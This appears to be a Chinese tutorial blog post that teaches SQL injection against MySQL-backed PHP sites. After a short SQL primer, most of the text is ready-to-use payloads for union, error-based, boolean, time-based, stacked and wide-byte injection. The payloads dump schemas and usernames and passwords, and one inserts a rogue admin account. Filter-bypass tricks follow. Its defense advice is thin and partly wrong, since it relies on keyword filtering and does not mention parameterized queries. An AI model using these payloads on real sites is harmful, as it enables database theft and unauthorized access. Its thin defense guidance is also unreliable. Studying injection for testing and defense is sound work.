一篇文章教你学会SQL注入漏洞

目录

Ⅰ、数据库基础知识

一、数据库基本操作命令

二、常见数据库函数

三、information_schema库讲解

 Ⅱ、sql注入

一、sql注入的原理

二、sql注入的分类

三、判断输入框是否存在sql注入

四、危害

五、防御

 Ⅲ、不同sql注入分类的具体细节

一、报错注入

⑴原理

⑵报错注入常见的报错函数

⑶报错注入的防御方法

二、二次注入

⑴概述

⑵二次注入的原理

三、宽字节注入

⑴概念

⑵ 涉及函数

Ⅳ、sql注入利用

一、常用的注入测试语句

三、 联合注入

 四、 报错注入

五、布尔注入

六、延时注入

 七、堆叠注入

八、二次注入

九、宽字节注入

十、Http头部注入

十一、sql注入读写文件

Ⅴ、sql注入的绕过

一、绕过基础

⑴关于sql中的注释--+和#和/**/

⑵union select 1,2,3,4,5

⑶常见的url编码


Ⅰ、数据库基础知识

有数据库基础的可以直接略过,因为sql注入中需要用到sql数据库的语法命令,才能了解原理。

一、数据库基本操作命令

1.创建数据库

create 数据库名称;

2.创建表

create table if not exists mobile(
ID int(10) primary key auto_increment comment '手机编号 主键自增',
Brand varchar(50) not null comment '手机品牌 非空约束',
Model varchar(50) not null comment '手机型号 非空约束',
Price int(10) not null comment '手机价格 检查约束',
Count int(10) not null comment '手机库存 检查约束',
Version varchar(50) not null comment '手机版本号 非空约束'
);

3.添加数据

insert into mobile values(default,"Apple","IPHone4s",4999,100,"chain");
insert into mobile values(default,"huawei","Z3L55",3999,100,"chain");
insert into mobile values(default,"Mi","小米13",2999,100,"chain");

4.删除数据

delete from mobile where id = 1;

5.修改数据

update mobile set price = 1999 ,count = 200 where id = 2;

6.查询数据

select * from mobile;
select * from mobile where id =2;
select id,brand from mobile;

7.常用操作

select user(); # 查询当前用户
select version(); # 查询版本
select @@datadir; # 查询安装mysql路径
select @@version_compile_os; # 查询os系统
select database(); # 查询当前数据库

二、常见数据库函数

CONCAT(s1,s2...sn)函数
作用:将多个字符串连接成一个字符串
select concat(id,"-",brand) from mobile;
CONCAT_WS(x, s1,s2...sn)函数
作用,与concat()函数一样,唯一的不同点是:可以一次性指定分隔符
select concat_ws("-",id,brand,version) from mobile;
left(s,n)函数
作用:返回字符串s的前n个字符
语法:left(str,length)
str:需要截取的字符串
length:截取多少位。注入过程中一般是1位
用法:left("autumn",1) # 返回
select left("autumn",1);
substr()函数
作用:截取字符串
语法:substr(str,start,length)
str:需要截取的字符串
start:起始位置
length:为长度,一般位1
用法:substr((select database()),1,1)
select substr((select database()),1,1);
length()函数
作用:获取字符串的长度
语法:length(str)
用法:length(database())
limit函数
作用:输出的条目
语法:limit num start,num length
用法:limit 0,1
if()条件语句
作用:分支选择语句
语法:if(条件表达式,true,false)
用法:if(length(database())>1,sleep(5),0)
sleep()函数
作用:休眠
语法:sleep(num)
用法:sleep(5)
extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
用法:and extractvalue(null,concat(0x7e,(select version()),0x7e)) from
demo;
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
用法:and updatexml(null,concat(0x7e,(select version()),0x7e),null);

-- php 函数
mysqli_multi_query()函数
作用:函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
语法:mysqli_multi_query(connection,query);
connection 必需。规定要使用的 MySQL 连接。
query 必需。规定一个或多个查询,用分号进行分隔。
用法:
mysql_multi_quer()函数
与mysqli_multi_query一致

三、information_schema库讲解

在MySQL数据库中5.0以上的版本中,存放着一个叫information_schema库,5.0以下的版本中

不没有information_schema库。

information_schema库里面有很多表,其中重点是下列三个表:

columns:information_schema.clumns表,table_schema中存放着所有库名,table_name

中存放着所有表名,column_name存放着所有列名

tables:information_schema.tables表,table_schema中存放着所有库名,table_name中存

放着所有表名

schemata:information_schema.schemata表的schema_name列存放着所有数据库的库名

 Ⅱ、sql注入

一、sql注入的原理

后端没有对用户输入的内容进行验证导致用户输入的恶意代码被执行。

二、sql注入的分类

因为分类多,所以注入点也多,绕过方法也多,而且有的绕过方法是通用的,有的是独特的。属于偏难的一个知识点,需要多复习,所以利用和绕过用一个大标题来讲。

三、判断输入框是否存在sql注入

 最为经典的单引号判断法: 在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

通常 Sql 注入漏洞分为 2 种类型:数字型和字符型

1.数字型判断:

​
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

2.字符型判断:

​
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

四、危害

  1. 绕过登录限制
  2. 查询数据
  3. 下载数据
  4. 执行系统命令
  5. 写入一句话木马(webshell)进而getshell

五、防御

1.过滤'"()order等关键字

2.判断函数is_number()

 Ⅲ、不同sql注入分类的具体细节

一、报错注入

⑴原理

利用后端写的报错函数,报错函数的特点是会返回报错内容,我们就利用这个特点,让它返回我们想要的数据。(通俗易懂,适合初学者)

⑵报错注入常见的报错函数
  1. extarctvalue()函数

    id = 1 and (extractvalue(1, concat(0x5c,(select user()))));
  2. updatexml()函数

    
    id = 1 and (updatexml(0x3a,concat(1,(select user())),1));
  3. floor()函数

    id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
  4. exp()

    id =1 and EXP(~(SELECT * from(select user())a));
  5. convert()

  6. name_const()

⑶报错注入的防御方法
  1. 不使用会造成报错注入的函数
  2. 对报错的返回结果进行统一错误提示信息
  3. 对用户输入的内容进行过滤
  4. 加防火墙

二、二次注入

⑴概述

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

⑵二次注入的原理

二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

三、宽字节注入

⑴概念

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击。

例子:http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

⑵ 涉及函数

addslashes()

mysql_real_escape_string()

mysql_escape_string()

Ⅳ、sql注入利用

一、常用的注入测试语句

and 1=1--+      //字符型
' and 1=1--+		//单引号型(字符型)
" and 1=1--+		//双引号型(字符型)
) and 1=1--+		//数字型单括号
') and 1=1--+		//字符型单引号单括号
") and 1=1--+		//字符型双引号单括号
")) and 1=1--+	//字符型双引号双括号

三、 联合注入

使用场景:有显示位,可以将sql语句执行的结果输出到网页中。

?id=1' order by 3--+  # 查询字段数				//全部把--+换成-- -也行

?id=-1' union select	1,2,3--+   # 查看回显位

//查询系统
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir--+

//查询所有数据库
?id=-1'	union select 1,group_concat(schema_name),3 from information_schema.schemata --+

//查询表
?id=-1'	union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

//查询列名
?id=-1'	union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'users'--+

//查询数据
?id=-1'	union select 1,group_concat('*',concat(username,'---',password)),3 from security.users	--+

 四、 报错注入

使用场景:报错注入的使用场景一般在页面无法显示数据库的信息,但是有报错内容,我们就可以尝 试利用报错注入将错误信息与子查询语句中查询的内容带出,并不局限与这种场景,只要能将mysql错 误信息输出都可以尝试进行报错注入。

报错注入形式上一般是做两个嵌套查询,里面的称为子查询,执行顺序是先进行子查询,所以我们可 以通过子查询查询我们想要的数据,然后通过报错函数将我们查询的数据带出。

报错注入七大常用函数_报错注入的函数-CSDN博客报错注入的函数

1.updatexml报错方式
?id=1" and (updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata)),1)))--+-

2.extractvalue报错方式
id=1" and extractvalue(1, concat((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database())))--+-

五、布尔注入

使用场景:根据注入执行结果的布尔值,页面显示不同,由此来判断是否为布尔注入

//判断数据库的第一位是不是s
?id=1" and left(database(),1)='s'--+-
?id=1" and substr((select database()),1,1)='s' --+-
?id=1" and ascii(substr((select database()),1,1))=115--+-

//获取所有数据库名称
?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+-

//获取当前数据库表名称
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+-

//获取当前数据库表users表的列名
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-
?id=1" and ord(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-

//获取users表的数据
?id=1" and ord(mid((select username from security.users limit 0,1 ),1,1))=68--+-

六、延时注入

 使用场景:在注入时,无论注入是否正确,页面没有任何变化,没有显示位,也没有报错信息。但是 加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。

//判断时间数据库长度
?id=1" and if(length(database())>7,1,sleep(5)) --+-

//查询数据库的第一位
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+-
	
//查询表
?id=1" and if(ascii(substr((select table_name from information_schema.tables
where	table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+-

//获取当前数据库表users表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105,1,sleep(5)) --+-

//获取users表的数据
?id=1" and if(ascii(substr((select username from security.users limit 0,1
),1,1))=68,1,sleep(5)) --+-

 七、堆叠注入

 堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特 点,在第二条语句中构造要执行攻击的语句。

在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户

# 在得知对方管理表结构的前提下,可以向管理表插入一个管理员账号
?id=1';insert into users value(20,"sc","sc");--+- 3
# 查询一下
?id=20

八、二次注入

二次注入过程中,在第一次数据库插入数据的时候,如果仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashea有一个特点就是虽然参数在过 滤后添加”\“进行转义,但是”\“并不会插入到数据库中,在写入数据时会保留原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候, 直接 从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL的二次注入。比如在第一次 插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.

九、宽字节注入

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中

magic_quote_gpc的配置

?id=1%aa' and 1=2 -- -
?id=1%aa' order by 3 -- -
?id=-1%aa' union select 1,2,3 -- -
?id=-1%aa' union select 1,user(),3 -- -

十、Http头部注入

User-Agent:浏览器版本
COOKIE: 网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
X-Forwarded-For:获取HTTP请求端真实IP Client-IP: 获取IP
Referer:浏览器向Web服务器表名自己是从哪个页面链接过来的
Host:访问的Web服务器的域名/IP和端口号

十一、sql注入读写文件

Ⅴ、sql注入的绕过

一、绕过基础

⑴关于sql中的注释--+和#和/**/

--在sql语句中起着注释的作用,将后面接着的的语句注释掉,+ 则代表空格。 #如果访问http://127.0.0.1?a=1'--+按回车访问,看到我们输入的--+变成了--空格,但是我们把+删掉之后会报错。。。。。。。所以,--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,所以我们不一定要用--+,可以用-- 加上空格在加上任意字符都行。比如

#也是一个注释语句,但是在浏览器中提交时需进行url编码 %23如不进行编码,则报错。比如URL为http://127.0.0.1?a=1'#会报错,需要改成http://127.0.0.1?a=1'%23

⑵union select 1,2,3,4,5

select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,如下图.select 之后可以接一串数字:1,2,3…只是一个例子,这串数字并不一定要按从小到大排列,也不一定从1开始,这串数字的值和顺序是任意的,甚至可以是重复的,如:11,465,7461,35 或11,11,11,11,数字串的长度也是任意的,我们想获得多少列的数据,就写多少个数字。

那么这个东西有什么用呢?在SQL注入时,我们可以利用它来进行一个快速测试,在Union注入时,如果我们通过测试已经知道了前面语句的字段数,就可以写入union 注入语句,但存在一个问题,我们虽然可以通过注入获得想要的信息,但这些信息必须能够返回到我们手中,对于网页来说,如何能够让数据回显是至关重要的。例如一个网站的参数传递执行的查询有3个字段,很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询,语句会非常冗长,而且很可能还需要做很多次测试,这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在窗口显示我们想要的结果。

⑶常见的url编码
' ——> %27
空格 ——> %20
#符号 ——> %23
\ ——> %5C

  • 15
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值